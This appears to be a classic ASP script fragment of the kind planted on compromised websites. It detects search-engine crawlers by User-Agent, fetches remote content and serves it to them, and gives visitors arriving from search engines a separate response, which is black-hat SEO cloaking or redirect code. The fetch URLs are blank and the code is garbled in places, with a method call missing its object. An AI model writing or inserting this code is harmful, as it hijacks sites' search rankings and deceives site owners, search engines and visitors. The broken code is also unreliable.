function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360","so","yahoo","bing","youdao") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function function gethttp(url) dim http set http=createobject("MSXML2.XMLHTTP") "GET",url,false Http.send() if Http.readystate<>4 then exit function end if gethttp=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End function if isspider() then dim mfso,mfilecon Set mfso=Server.CreateObject("Scripting.FileSystemObject") mfilecon=gethttp("") response.clear response.write(mfilecon) response.write("") response.flush Set wfile=Nothing Set mfso=Nothing response.end end if if fromse() then response.clear response.write("
") response.flush response.end end if %>